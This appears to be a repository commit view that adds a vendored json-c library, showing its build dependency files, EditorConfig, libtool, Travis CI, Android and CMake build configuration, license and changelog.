/usr/share/mingw-w64/include/ktmtypes.h:
/usr/share/mingw-w64/include/winbase.h:
/usr/share/mingw-w64/include/apisetcconv.h:
/usr/share/mingw-w64/include/minwinbase.h:
/usr/share/mingw-w64/include/bemapiset.h:
/usr/share/mingw-w64/include/debugapi.h:
/usr/share/mingw-w64/include/errhandlingapi.h:
/usr/share/mingw-w64/include/fibersapi.h:
/usr/share/mingw-w64/include/fileapi.h:
/usr/share/mingw-w64/include/handleapi.h:
/usr/share/mingw-w64/include/heapapi.h:
/usr/share/mingw-w64/include/ioapiset.h:
/usr/share/mingw-w64/include/interlockedapi.h:
/usr/share/mingw-w64/include/jobapi.h:
/usr/share/mingw-w64/include/libloaderapi.h:
/usr/share/mingw-w64/include/memoryapi.h:
/usr/share/mingw-w64/include/namedpipeapi.h:
/usr/share/mingw-w64/include/namespaceapi.h:
/usr/share/mingw-w64/include/processenv.h:
/usr/share/mingw-w64/include/processthreadsapi.h:
/usr/share/mingw-w64/include/processtopologyapi.h:
/usr/share/mingw-w64/include/profileapi.h:
/usr/share/mingw-w64/include/realtimeapiset.h:
/usr/share/mingw-w64/include/securityappcontainer.h:
/usr/share/mingw-w64/include/securitybaseapi.h:
/usr/share/mingw-w64/include/synchapi.h:
/usr/share/mingw-w64/include/sysinfoapi.h:
/usr/share/mingw-w64/include/systemtopologyapi.h:
/usr/share/mingw-w64/include/threadpoolapiset.h:
/usr/share/mingw-w64/include/threadpoollegacyapiset.h:
/usr/share/mingw-w64/include/utilapiset.h:
/usr/share/mingw-w64/include/wow64apiset.h:
/usr/share/mingw-w64/include/winerror.h:
/usr/share/mingw-w64/include/fltwinerror.h:
/usr/share/mingw-w64/include/timezoneapi.h:
/usr/share/mingw-w64/include/wingdi.h:
/usr/share/mingw-w64/include/pshpack1.h:
/usr/share/mingw-w64/include/winuser.h:
/usr/share/mingw-w64/include/tvout.h:
/usr/share/mingw-w64/include/winnls.h:
/usr/share/mingw-w64/include/datetimeapi.h:
/usr/share/mingw-w64/include/stringapiset.h:
/usr/share/mingw-w64/include/wincon.h:
/usr/share/mingw-w64/include/winver.h:
/usr/share/mingw-w64/include/winreg.h:
/usr/share/mingw-w64/include/reason.h:
/usr/share/mingw-w64/include/winnetwk.h:
/usr/share/mingw-w64/include/wnnc.h:
/usr/share/mingw-w64/include/virtdisk.h:
/usr/share/mingw-w64/include/cderr.h:
/usr/share/mingw-w64/include/dde.h:
/usr/share/mingw-w64/include/ddeml.h:
/usr/share/mingw-w64/include/dlgs.h:
/usr/share/mingw-w64/include/lzexpand.h:
/usr/share/mingw-w64/include/mmsystem.h:
/usr/share/mingw-w64/include/nb30.h:
/usr/share/mingw-w64/include/rpc.h:
/usr/share/mingw-w64/include/rpcdce.h:
/usr/share/mingw-w64/include/rpcdcep.h:
/usr/share/mingw-w64/include/rpcnsi.h:
/usr/share/mingw-w64/include/rpcnterr.h:
/usr/share/mingw-w64/include/rpcasync.h:
/usr/share/mingw-w64/include/shellapi.h:
/usr/share/mingw-w64/include/winperf.h:
/usr/share/mingw-w64/include/winsock.h:
/usr/share/mingw-w64/include/_timeval.h:
/usr/share/mingw-w64/include/_bsd_types.h:
/usr/share/mingw-w64/include/inaddr.h:
/usr/share/mingw-w64/include/psdk_inc/_socket_types.h:
/usr/share/mingw-w64/include/psdk_inc/_fd_types.h:
/usr/share/mingw-w64/include/psdk_inc/_ip_types.h:
/usr/share/mingw-w64/include/psdk_inc/_ip_mreq1.h:
/usr/share/mingw-w64/include/psdk_inc/_wsadata.h:
/usr/share/mingw-w64/include/psdk_inc/_xmitfile.h:
/usr/share/mingw-w64/include/psdk_inc/_wsa_errnos.h:
/usr/share/mingw-w64/include/wincrypt.h:
/usr/share/mingw-w64/include/bcrypt.h:
/usr/share/mingw-w64/include/ncrypt.h:
/usr/share/mingw-w64/include/dpapi.h:
/usr/share/mingw-w64/include/winefs.h:
/usr/share/mingw-w64/include/winscard.h:
/usr/share/mingw-w64/include/wtypes.h:
/usr/share/mingw-w64/include/rpcndr.h:
/usr/share/mingw-w64/include/rpcnsip.h:
/usr/share/mingw-w64/include/rpcsal.h:
/usr/share/mingw-w64/include/ole2.h:
/usr/share/mingw-w64/include/objbase.h:
/usr/share/mingw-w64/include/combaseapi.h:
/usr/share/mingw-w64/include/wtypesbase.h:
/usr/share/mingw-w64/include/unknwnbase.h:
/usr/share/mingw-w64/include/objidlbase.h:
/usr/share/mingw-w64/include/cguid.h:
/usr/share/mingw-w64/include/objidl.h:
/usr/share/mingw-w64/include/unknwn.h:
/usr/share/mingw-w64/include/urlmon.h:
/usr/share/mingw-w64/include/oleidl.h:
/usr/share/mingw-w64/include/servprov.h:
/usr/share/mingw-w64/include/msxml.h:
/usr/share/mingw-w64/include/oaidl.h:
/usr/share/mingw-w64/include/propidl.h:
/usr/share/mingw-w64/include/oleauto.h:
/usr/share/mingw-w64/include/winioctl.h:
/usr/share/mingw-w64/include/winsmcrd.h:
/usr/share/mingw-w64/include/winspool.h:
/usr/share/mingw-w64/include/prsht.h:
/usr/share/mingw-w64/include/commdlg.h:
/usr/share/mingw-w64/include/stralign.h:
/usr/share/mingw-w64/include/sec_api/stralign_s.h:
/usr/share/mingw-w64/include/winsvc.h:
/usr/share/mingw-w64/include/mcx.h:
/usr/share/mingw-w64/include/imm.h:
/usr/share/mingw-w64/include/time.h:
/usr/share/mingw-w64/include/sys/timeb.h:
/usr/share/mingw-w64/include/sec_api/sys/timeb_s.h:
/usr/share/mingw-w64/include/pthread_time.h:

View File

@ -0,0 +1,64 @@
strerror_override.lo: strerror_override.c strerror_override.h config.h \
/usr/share/mingw-w64/include/errno.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h json_object.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h printbuf.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h
strerror_override.h:
config.h:
/usr/share/mingw-w64/include/errno.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
json_object.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
printbuf.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:

View File

@ -0,0 +1,15 @@
# EditorConfig
# http://EditorConfig.org
# top-most EditorConfig file
root = true
# LF end-of-line, insert an empty new line and UTF-8
[*]
end_of_line = lf
insert_final_newline = true
charset = utf-8
# Tab indentation
[makefile,Makefile]
indent_style = tab

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1 @@
../libjson-c.la

View File

@ -0,0 +1,41 @@
# libjson-c.la - a libtool library file
# Generated by libtool (GNU libtool) 2.4.6 Debian-2.4.6-2
#
# Please DO NOT delete this file!
# It is necessary for linking the library.
# The name that we can dlopen(3).
dlname=''
# Names of this library.
library_names=''
# The name of the static archive.
old_library='libjson-c.a'
# Linker flags that cannot go in dependency_libs.
inherited_linker_flags=''
# Libraries that this one depends upon.
dependency_libs=''
# Names of additional weak libraries provided by this library
weak_library_names=''
# Version information for libjson-c.
current=4
age=0
revision=0
# Is this an already installed library?
installed=yes
# Should we warn about portability when linking against -modules?
shouldnotlink=no
# Files to dlopen/dlpreopen
dlopen=''
dlpreopen=''
# Directory that this library needs to be installed in:
libdir='/usr/local/lib'

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,116 @@
language: cpp
matrix:
include:
# gcc
# xenial
# gcc 5 is the default on xenial
- os: linux
dist: xenial
compiler: gcc
addons:
apt:
packages:
- valgrind
- cppcheck
- doxygen
env: CHECK="true"
# bionic
- os: linux
dist: bionic
compiler: gcc
env: MATRIX_EVAL="CC=gcc-6 && CXX=g++-6"
# gcc 7 is the default on bionic
- os: linux
dist: bionic
compiler: gcc
env: CHECK="true"
- os: linux
dist: bionic
compiler: gcc
env: MATRIX_EVAL="CC=gcc-8 && CXX=g++-8"
# clang
# xenial
- os: linux
dist: xenial
compiler: clang
addons:
apt:
sources:
- llvm-toolchain-xenial-5.0
packages:
- clang-5.0
env: MATRIX_EVAL="CC=clang-5.0 && CXX=clang++-5.0"
- os: linux
dist: xenial
compiler: clang
addons:
apt:
sources:
- llvm-toolchain-xenial-6.0
packages:
- clang-6.0
env: MATRIX_EVAL="CC=clang-6.0 && CXX=clang++-6.0"
# clang-7 is the default on xenial and bionic
- os: linux
dist: xenial
compiler: clang
addons:
apt:
packages:
- valgrind
- cppcheck
- doxygen
env: CHECK="true"
# bionic
- os: linux
dist: bionic
compiler: clang
env: CHECK="true"
# osx
- os: osx
osx_image: xcode9.4
env: XCODE="true"
- os: osx
osx_image: xcode10.1
env: XCODE="true" CHECK="true"
# allow_failures:
# - os: osx
install:
- sh autogen.sh
before_install:
- echo $CC
- echo $LANG
- echo $LC_ALL
- set -e
- if [ "$TRAVIS_OS_NAME" = "linux" ]; then
eval "${MATRIX_EVAL}";
if [ -n "$MATRIX_EVAL" ] && [ "$TRAVIS_COMPILER" != "clang" ]; then
sudo apt-get install -y $CC;
fi;
fi
before_script:
- ./configure
script:
- make
# when using bionic, Travis seems to ignore the "addons" section, so installing the packages with apt-get...
- if [ -n "$CHECK" ]; then
if [ "$TRAVIS_OS_NAME" = "osx" ]; then
brew install doxygen;
else
if [ "$TRAVIS_DIST" = "bionic" ]; then
sudo apt-get install -y valgrind cppcheck doxygen;
fi;
fi;
make distcheck;
if type cppcheck &> /dev/null ; then cppcheck --error-exitcode=1 --quiet *.h *.c tests/ ; fi;
fi

View File

@ -0,0 +1,5 @@
Michael Clark <michael@metaparadigm.com>
Jehiah Czebotar <jehiah@gmail.com>
Eric Haszlakiewicz <hawicz+json-c@gmail.com>
C. Watford (christopher.watford@gmail.com)

View File

@ -0,0 +1,49 @@
# This file is the top android makefile for all sub-modules.
#
# Suggested settings to build for Android:
#
# export PATH=$PATH:/opt/android-ndk/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/
# export SYSROOT=/opt/android-ndk/platforms/android-9/arch-arm/usr/
# export LD=arm-linux-androideabi-ld
# export CC="arm-linux-androideabi-gcc --sysroot=/opt/android-ndk/platforms/android-9/arch-arm"
#
# Then run autogen.sh, configure and make.
#
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
json_c_TOP := $(LOCAL_PATH)
JSON_C_BUILT_SOURCES := Android.mk
JSON_C_BUILT_SOURCES := $(patsubst %, $(abspath $(json_c_TOP))/%, $(JSON_C_BUILT_SOURCES))
.PHONY: json-c-configure json-c-configure-real
json-c-configure-real:
echo $(JSON_C_BUILT_SOURCES)
cd $(json_c_TOP) ; \
$(abspath $(json_c_TOP))/autogen.sh && \
CC="$(CONFIGURE_CC)" \
CFLAGS="$(CONFIGURE_CFLAGS)" \
LD=$(TARGET_LD) \
LDFLAGS="$(CONFIGURE_LDFLAGS)" \
CPP=$(CONFIGURE_CPP) \
CPPFLAGS="$(CONFIGURE_CPPFLAGS)" \
PKG_CONFIG_LIBDIR=$(CONFIGURE_PKG_CONFIG_LIBDIR) \
PKG_CONFIG_TOP_BUILD_DIR=/ \
ac_cv_func_malloc_0_nonnull=yes \
ac_cv_func_realloc_0_nonnull=yes \
$(abspath $(json_c_TOP))/$(CONFIGURE) --host=$(CONFIGURE_HOST) \
--prefix=/system \
&& \
for file in $(JSON_C_BUILT_SOURCES); do \
rm -f $$file && \
make -C $$(dirname $$file) $$(basename $$file) ; \
done
json-c-configure: json-c-configure-real
PA_CONFIGURE_TARGETS += json-c-configure
-include $(json_c_TOP)/Android.mk

View File

@ -0,0 +1,358 @@
# Many projects still are stuck using CMake 2.8 is several places so it's good to provide backward support too. This is
# specially true in old embedded systems (OpenWRT and friends) where CMake isn't necessarily upgraded.
cmake_minimum_required(VERSION 2.8)
if(POLICY CMP0048)
cmake_policy(SET CMP0048 NEW)
endif()
# JSON-C library is C only project.
project(json-c LANGUAGES C VERSION 0.13.99)
# If we've got 3.0 then it's good, let's provide support. Otherwise, leave it be.
if(POLICY CMP0038)
# Policy CMP0038 introduced was in CMake 3.0
cmake_policy(SET CMP0038 NEW)
endif()
if(POLICY CMP0054)
cmake_policy(SET CMP0054 NEW)
endif()
# Include file check macros honor CMAKE_REQUIRED_LIBRARIES
# i.e. the check_include_file() calls will include -lm when checking.
if(POLICY CMP0075)
cmake_policy(SET CMP0075 NEW)
endif()
include(CTest)
if (CMAKE_PROJECT_NAME STREQUAL PROJECT_NAME AND BUILD_TESTING AND
(NOT MSVC OR NOT (MSVC_VERSION LESS 1800)) # Tests need at least VS2013
)
add_subdirectory(tests)
endif()
# Set some packaging variables.
set(CPACK_PACKAGE_NAME "${PROJECT_NAME}")
set(CPACK_PACKAGE_VERSION_MAJOR "${PROJECT_VERSION_MAJOR}")
set(CPACK_PACKAGE_VERSION_MINOR "${PROJECT_VERSION_MINOR}")
set(CPACK_PACKAGE_VERSION_PATCH "${PROJECT_VERSION_PATCH}")
set(JSON_C_BUGREPORT "json-c@googlegroups.com")
include(CheckSymbolExists)
include(CheckIncludeFile)
include(CheckIncludeFiles)
include(CheckCSourceCompiles)
include(CheckTypeSize)
include(CPack)
include(GNUInstallDirs)
include(CMakePackageConfigHelpers)
option(BUILD_SHARED_LIBS "Default to building shared libraries" ON)
# Enable or disable features. By default, all features are turned off.
option(ENABLE_RDRAND "Enable RDRAND Hardware RNG Hash Seed" OFF)
option(ENABLE_THREADING "Enable partial threading support." OFF)
option(DISABLE_WERROR "Avoid treating compiler warnings as fatal errors" OFF)
option(DISABLE_BSYMBOLIC "Avoid linking with -Bsymbolic-function" OFF)
if (UNIX OR MINGW OR CYGWIN)
list(APPEND CMAKE_REQUIRED_DEFINITIONS -D_GNU_SOURCE)
endif()
if (UNIX)
list(APPEND CMAKE_REQUIRED_LIBRARIES m)
endif()
if (MSVC)
list(APPEND CMAKE_REQUIRED_DEFINITIONS /D_CRT_SECURE_NO_DEPRECATE)
list(APPEND CMAKE_REQUIRED_FLAGS /wd4996)
endif()
check_include_file("fcntl.h" HAVE_FCNTL_H)
check_include_file("inttypes.h" HAVE_INTTYPES_H)
check_include_file(stdarg.h HAVE_STDARG_H)
check_include_file(strings.h HAVE_STRINGS_H)
check_include_file(string.h HAVE_STRING_H)
check_include_file(syslog.h HAVE_SYSLOG_H)
check_include_files("stdlib.h;stdarg.h;string.h;float.h" STDC_HEADERS)
check_include_file(unistd.h HAVE_UNISTD_H)
check_include_file(sys/types.h HAVE_SYS_TYPES_H)
check_include_file("dlfcn.h" HAVE_DLFCN_H)
check_include_file("endian.h" HAVE_ENDIAN_H)
check_include_file("limits.h" HAVE_LIMITS_H)
check_include_file("locale.h" HAVE_LOCALE_H)
check_include_file("memory.h" HAVE_MEMORY_H)
check_include_file(stdint.h HAVE_STDINT_H)
check_include_file(stdlib.h HAVE_STDLIB_H)
check_include_file(sys/cdefs.h HAVE_SYS_CDEFS_H)
check_include_file(sys/param.h HAVE_SYS_PARAM_H)
check_include_file(sys/stat.h HAVE_SYS_STAT_H)
check_include_file(xlocale.h HAVE_XLOCALE_H)
if (HAVE_INTTYPES_H AND NOT MSVC)
set(JSON_C_HAVE_INTTYPES_H 1)
endif()
check_symbol_exists(_isnan "float.h" HAVE_DECL__ISNAN)
check_symbol_exists(_finite "float.h" HAVE_DECL__FINITE)
if ((MSVC AND NOT (MSVC_VERSION LESS 1800)) OR MINGW OR CYGWIN OR UNIX)
check_symbol_exists(INFINITY "math.h" HAVE_DECL_INFINITY)
check_symbol_exists(isinf "math.h" HAVE_DECL_ISINF)
check_symbol_exists(isnan "math.h" HAVE_DECL_ISNAN)
check_symbol_exists(nan "math.h" HAVE_DECL_NAN)
endif()
check_symbol_exists(_doprnt "stdio.h" HAVE_DOPRNT)
if (UNIX OR MINGW OR CYGWIN)
check_symbol_exists(snprintf "stdio.h" HAVE_SNPRINTF)
endif()
check_symbol_exists(vasprintf "stdio.h" HAVE_VASPRINTF)
check_symbol_exists(vsnprintf "stdio.h" HAVE_VSNPRINTF)
check_symbol_exists(vprintf "stdio.h" HAVE_VPRINTF)
if (HAVE_FCNTL_H)
check_symbol_exists(open "fcntl.h" HAVE_OPEN)
endif()
if (HAVE_STDLIB_H)
check_symbol_exists(realloc "stdlib.h" HAVE_REALLOC)
endif()
if (HAVE_LOCALE_H)
check_symbol_exists(setlocale "locale.h" HAVE_SETLOCALE)
check_symbol_exists(uselocale "locale.h" HAVE_USELOCALE)
endif()
if (HAVE_STRINGS_H)
check_symbol_exists(strcasecmp "strings.h" HAVE_STRCASECMP)
check_symbol_exists(strncasecmp "strings.h" HAVE_STRNCASECMP)
endif()
if (HAVE_STRING_H)
check_symbol_exists(strdup "string.h" HAVE_STRDUP)
check_symbol_exists(strerror "string.h" HAVE_STRERROR)
endif()
if (HAVE_SYSLOG_H)
check_symbol_exists(vsyslog "syslog.h" HAVE_VSYSLOG)
endif()
if (MSVC)
check_symbol_exists(strtoll "stdlib.h" HAVE_STRTOLL)
set(json_c_strtoll "strtoll")
if (NOT HAVE_STRTOLL)
# Use _strtoi64 if strtoll is not available.
check_symbol_exists(_strtoi64 "stdlib.h" __have_strtoi64)
if (__have_strtoi64)
set(HAVE_STRTOLL 1)
set(json_c_strtoll "_strtoi64")
# could do the same for strtoull, if needed
endif()
endif()
endif()
check_type_size(int SIZEOF_INT)
check_type_size(int64_t SIZEOF_INT64_T)
check_type_size(long SIZEOF_LONG)
check_type_size("long long" SIZEOF_LONG_LONG)
check_type_size("size_t" SIZEOF_SIZE_T)
check_c_source_compiles(
[=[
extern void json_object_get();
__asm__(".section .gnu.json_object_get\\n\\t.ascii \\"Please link against libjson-c instead of libjson\\"\\n\\t.text");
int main(int c, char *v) { return 0;}
]=]
HAS_GNU_WARNING_LONG)
check_c_source_compiles(
"int main() { int i, x = 0; i = __sync_add_and_fetch(&x,1); return x; }"
HAVE_ATOMIC_BUILTINS)
check_c_source_compiles(
"__thread int x = 0; int main() { return 0; }"
HAVE___THREAD)
if (HAVE___THREAD)
set(SPEC___THREAD __thread)
elseif (MSVC)
set(SPEC___THREAD __declspec(thread))
endif()
# Hardware random number is not available on Windows? Says, config.h.win32. Best to preserve compatibility.
if (WIN32)
set(ENABLE_RDRAND 0)
endif()
# Once we've done basic symbol/header searches let's add them in.
configure_file(${PROJECT_SOURCE_DIR}/cmake/config.h.in ${PROJECT_BINARY_DIR}/config.h)
message(STATUS "Written ${PROJECT_BINARY_DIR}/config.h")
configure_file(${PROJECT_SOURCE_DIR}/cmake/json_config.h.in ${PROJECT_BINARY_DIR}/json_config.h)
message(STATUS "Written ${PROJECT_BINARY_DIR}/json_config.h")
if ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -ffunction-sections -fdata-sections")
if ("${DISABLE_WERROR}" STREQUAL "OFF")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Werror")
endif()
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wcast-qual")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wno-error=deprecated-declarations")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wextra")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wwrite-strings")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wno-unused-parameter")
add_definitions(-D_GNU_SOURCE)
elseif ("${CMAKE_C_COMPILER_ID}" STREQUAL "MSVC")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /DEBUG")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4100")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4996")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4244")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4706")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4702")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4127")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /wd4701")
endif()
if (NOT ("${CMAKE_C_COMPILER_ID}" STREQUAL "MSVC"))
check_c_source_compiles(
[=[
/* uClibc toolchains without threading barf when _REENTRANT is defined */
#define _REENTRANT 1
#include <sys/types.h>
int main ()
{
return 0;
}
]=]
REENTRANT_WORKS
)
if (REENTRANT_WORKS)
add_compile_options("-D_REENTRANT")
endif()
if (DISABLE_BSYMBOLIC STREQUAL "OFF")
set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKED_FLAGS} -Wl,-Bsymbolic-functions")
# XXX need cmake>=3.13 for this:
#add_link_options("-Wl,-Bsymbolic-functions")
endif()
endif()
if ($ENV{VALGRIND})
# Build so that valgrind doesn't complain about linkhash.c
add_definitions(-DVALGRIND=1)
endif()
set(JSON_C_PUBLIC_HEADERS
${PROJECT_BINARY_DIR}/config.h
${PROJECT_BINARY_DIR}/json_config.h
${PROJECT_SOURCE_DIR}/json.h
${PROJECT_SOURCE_DIR}/arraylist.h
${PROJECT_SOURCE_DIR}/debug.h
${PROJECT_SOURCE_DIR}/json_c_version.h
${PROJECT_SOURCE_DIR}/json_inttypes.h
${PROJECT_SOURCE_DIR}/json_object.h
${PROJECT_SOURCE_DIR}/json_object_iterator.h
${PROJECT_SOURCE_DIR}/json_pointer.h
${PROJECT_SOURCE_DIR}/json_tokener.h
${PROJECT_SOURCE_DIR}/json_util.h
${PROJECT_SOURCE_DIR}/json_visit.h
${PROJECT_SOURCE_DIR}/linkhash.h
${PROJECT_SOURCE_DIR}/printbuf.h
)
set(JSON_C_HEADERS
${JSON_C_PUBLIC_HEADERS}
${PROJECT_SOURCE_DIR}/json_object_private.h
${PROJECT_SOURCE_DIR}/random_seed.h
${PROJECT_SOURCE_DIR}/strerror_override.h
${PROJECT_SOURCE_DIR}/strerror_override_private.h
${PROJECT_SOURCE_DIR}/math_compat.h
${PROJECT_SOURCE_DIR}/snprintf_compat.h
${PROJECT_SOURCE_DIR}/strdup_compat.h
${PROJECT_SOURCE_DIR}/vasprintf_compat.h
)
set(JSON_C_SOURCES
${PROJECT_SOURCE_DIR}/arraylist.c
${PROJECT_SOURCE_DIR}/debug.c
${PROJECT_SOURCE_DIR}/json_c_version.c
${PROJECT_SOURCE_DIR}/json_object.c
${PROJECT_SOURCE_DIR}/json_object_iterator.c
${PROJECT_SOURCE_DIR}/json_pointer.c
${PROJECT_SOURCE_DIR}/json_tokener.c
${PROJECT_SOURCE_DIR}/json_util.c
${PROJECT_SOURCE_DIR}/json_visit.c
${PROJECT_SOURCE_DIR}/linkhash.c
${PROJECT_SOURCE_DIR}/printbuf.c
${PROJECT_SOURCE_DIR}/random_seed.c
${PROJECT_SOURCE_DIR}/strerror_override.c
)
include_directories(${PROJECT_SOURCE_DIR})
include_directories(${PROJECT_BINARY_DIR})
# XXX for a normal full distribution we'll need to figure out
# XXX how to build both shared and static libraries.
# Probably leverage that to build a local VALGRIND=1 library for testing too.
add_library(${PROJECT_NAME}
${JSON_C_SOURCES}
${JSON_C_HEADERS}
)
set_target_properties(${PROJECT_NAME} PROPERTIES
VERSION 4.0.0
SOVERSION 4)
# If json-c is used as subroject it set to target correct interface -I flags and allow
# to build external target without extra include_directories(...)
target_include_directories(${PROJECT_NAME}
PUBLIC
$<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}>
$<BUILD_INTERFACE:${PROJECT_BINARY_DIR}>
)
install(TARGETS ${PROJECT_NAME}
EXPORT ${PROJECT_NAME}-targets
RUNTIME DESTINATION ${CMAKE_INSTALL_BINDIR}
LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
INCLUDES DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}
)
install(EXPORT ${PROJECT_NAME}-targets
FILE ${PROJECT_NAME}-targets.cmake
NAMESPACE ${PROJECT_NAME}::
DESTINATION ${CMAKE_INSTALL_LIBDIR}/cmake/${PROJECT_NAME}
)
configure_package_config_file(
"cmake/Config.cmake.in"
${PROJECT_BINARY_DIR}/${PROJECT_NAME}-config.cmake
INSTALL_DESTINATION "${CMAKE_INSTALL_LIBDIR}/cmake/${PROJECT_NAME}"
)
install(
FILES ${PROJECT_BINARY_DIR}/${PROJECT_NAME}-config.cmake
DESTINATION ${CMAKE_INSTALL_LIBDIR}/cmake/${PROJECT_NAME}
)
if (UNIX OR MINGW OR CYGWIN)
SET(prefix ${CMAKE_INSTALL_PREFIX})
# exec_prefix is prefix by default and CMake does not have the
# concept.
SET(exec_prefix ${CMAKE_INSTALL_PREFIX})
SET(libdir ${CMAKE_INSTALL_FULL_LIBDIR})
SET(includedir ${CMAKE_INSTALL_FULL_INCLUDEDIR})
SET(VERSION ${PROJECT_VERSION})
configure_file(json-c.pc.in json-c.pc @ONLY)
set(INSTALL_PKGCONFIG_DIR "${CMAKE_INSTALL_PREFIX}/lib/pkgconfig" CACHE PATH "Installation directory for pkgconfig (.pc) files")
install(FILES ${PROJECT_BINARY_DIR}/json-c.pc DESTINATION "${INSTALL_PKGCONFIG_DIR}")
endif ()
install(FILES ${JSON_C_PUBLIC_HEADERS} DESTINATION ${CMAKE_INSTALL_PREFIX}/include/json-c)

42
beacon/lib/json-c/COPYING Normal file
View File

@ -0,0 +1,42 @@
Copyright (c) 2009-2012 Eric Haszlakiewicz
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
----------------------------------------------------------------
Copyright (c) 2004, 2005 Metaparadigm Pte Ltd
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

396
beacon/lib/json-c/ChangeLog Normal file
View File

@ -0,0 +1,396 @@
Next version, 0.14
==================
Deprecated and removed features:
--------------------------------
* bits.h has been removed
* lh_abort() has been removed
* lh_table_lookup() has been removed, use lh_table_lookup_ex() instead.
* Remove TRUE and FALSE defines, use 1 and 0 instead.
Build changes:
--------------
0.13.1 (up to commit 0f814e5, 2018/03/04)
=========================================
* Bump the major version of the .so library generated up to 4.0 to avoid
conflicts because some downstream packagers of json-c had already done
their own bump to ".so.3" for a much older 0.12 release.
* Add const size_t json_c_object_sizeof()
* Avoid invalid free (and thus a segfault) when ref_count gets < 0
* PR#394: fix handling of custom double formats that include a ".0"
* Avoid uninitialized variable warnings in json_object_object_foreach
* Issue #396: fix build for certain uClibc based systems.
